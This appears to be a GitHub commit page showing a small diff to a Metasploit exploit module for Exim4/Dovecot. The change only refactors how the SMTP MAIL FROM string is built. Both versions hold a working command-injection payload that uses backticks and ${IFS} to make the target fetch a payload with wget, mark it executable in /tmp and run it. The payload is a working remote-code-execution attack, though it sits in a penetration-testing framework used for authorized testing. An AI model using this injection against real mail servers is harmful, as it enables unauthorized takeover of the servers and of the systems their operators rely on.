We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent d76e14f commit 9025b52Copy full SHA for 9025b52
modules/exploits/linux/smtp/exim4_dovecot_exec.rb
@@ -158,7 +158,11 @@ def exploit
158
# Initiate the message
159
#
160
filename = rand_text_alpha_lower(8)
161
- from = "#{rand_text_alpha(3)}`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}``chmod${IFS}+x${IFS}/tmp/#{filename}``/tmp/#{filename}`@#{ehlo}"
+ from = rand_text_alpha(3)
162
+ from << "`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}`"
163
+ from << "`chmod${IFS}+x${IFS}/tmp/#{filename}`"
164
+ from << "`/tmp/#{filename}`"
165
+ from << "@#{ehlo}"
166
to = datastore['MAILTO']
167
168
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
0 commit comments